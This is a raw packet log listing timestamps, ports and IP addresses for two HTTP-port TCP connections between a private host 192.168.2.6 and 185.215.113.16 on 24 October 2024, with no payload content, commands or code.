Oct 24, 2024 04:58:09.767462015 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.767473936 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.767481089 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.767487049 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.767498970 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.767509937 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.767509937 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.767520905 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.767524958 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.767568111 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.767867088 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.767879963 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.767896891 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.767906904 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.767919064 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.767919064 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.767930031 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.767930984 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.767945051 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.767956018 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.767960072 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.767967939 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.767988920 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.768002033 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.799284935 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.799340963 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.799350023 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.799401045 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.799407959 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.799412966 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.799426079 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.799453020 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.799455881 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.799468994 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.799475908 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.799514055 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.799544096 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.800307989 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.800319910 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.800331116 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.800342083 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.800354004 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.800360918 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.800404072 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.800404072 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.801111937 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.801125050 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.801135063 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.801167011 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.801199913 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.806216002 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.806227922 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.806287050 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.807281971 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.807307005 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.807329893 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.807343006 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.849212885 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.849225044 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.849235058 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.849253893 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.849263906 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.849266052 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.849278927 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.849287987 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.849318027 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.884218931 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.884231091 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.884284973 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.884284973 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.887685061 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.887700081 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.887708902 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.887720108 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.887736082 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.887757063 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.916557074 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.916573048 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.916630030 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.916682959 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.916695118 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.916707039 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.916718960 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.916731119 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.916732073 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.916763067 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.916790009 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.917465925 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.917475939 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.917522907 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.917598963 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.917634964 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.917645931 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.917648077 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.917658091 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.917697906 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.917725086 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.918270111 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.918329000 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.918334961 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.918340921 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.918353081 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.918380976 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.918411016 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.927218914 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.927229881 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.927242041 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.927269936 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.927308083 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.968904018 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.969192028 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.969208002 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.969218969 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.969229937 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.969240904 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.969247103 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.969253063 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.969260931 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.969268084 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.969295025 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.969310999 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.002414942 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.002425909 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.002484083 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.006043911 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.006056070 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.006066084 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.006098986 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.033914089 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.033925056 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.033993006 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.033993006 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.034006119 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.034017086 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.034029961 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.034038067 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.034070969 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.034101963 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.034475088 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.034486055 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.034496069 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.034528017 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.034533978 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.034547091 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.034548044 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.034614086 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.034614086 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.035172939 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.035185099 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.035195112 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.035224915 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.035254955 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.046458006 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.046469927 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.046480894 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.046508074 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.046533108 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.076003075 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.076023102 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.076035023 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.076172113 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.076172113 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.087980032 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.088001013 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.088043928 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.088082075 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.088136911 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.088149071 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.088160038 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.088192940 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.088219881 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.088435888 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.088447094 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.088459015 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.088480949 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.125315905 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.125329971 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.125339985 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.125374079 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.125396967 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.125405073 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.125410080 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.125422001 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.125452042 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.151087046 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.151129961 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.151140928 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.151151896 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.151156902 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.151165009 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.151213884 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.151242971 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.151442051 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.151492119 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.151504040 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.151508093 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.151515961 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.151561975 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.151613951 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.152043104 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.152055979 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.152066946 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.152077913 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.152090073 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.152115107 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.152148962 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.165720940 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.165731907 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.165743113 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.165775061 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.165832996 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.191952944 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.191977024 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.191987991 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.192047119 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.192107916 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.193114042 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.193125010 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.193135977 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.193185091 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.193217039 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.207556963 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.207575083 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.207587004 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.207601070 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.207612991 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.207623959 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.207637072 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.207647085 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.207659960 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.207722902 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.244544029 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.244587898 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.244600058 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.244611025 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.244640112 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.244677067 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.244704008 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.244721889 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.244774103 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.268241882 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.268259048 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.268271923 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.268311977 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.268383980 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.268429041 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.268440008 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.268451929 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.268486023 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.268517971 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.268548965 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.268562078 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.268603086 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.269145966 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.269157887 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.269169092 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.269201040 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.269232035 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.269256115 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.269268036 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.269306898 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.269336939 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.285052061 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.285063982 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.285075903 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.285232067 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.309205055 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.309216022 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.309227943 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.309273005 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.309307098 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.310302019 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.310312033 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.310362101 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.310372114 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.310373068 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.310385942 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.310435057 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.310471058 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.327083111 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.327104092 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.327116013 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.327143908 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.327174902 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.327183962 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.327193975 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.327207088 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.327219009 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.327230930 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.327255011 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.327299118 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.364840031 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.364850998 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.364861965 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.364872932 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.364931107 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.365155935 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.365166903 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.365221024 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.385422945 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.385441065 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.385499001 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.385509014 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.385528088 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.385574102 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.385669947 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.385679960 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.385735989 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.385900974 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.385912895 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.385922909 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.385967970 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.385998011 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.386193991 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.386204004 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.386262894 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.386389971 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.386435032 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.386446953 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.386451006 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.386480093 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.386491060 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.386492014 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.386540890 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.405430079 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.405441999 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.405452967 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.405488014 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.405517101 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.427567959 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.427581072 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.427592039 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.427630901 CEST	49996	80	192.168.2.6	185.215.113.16
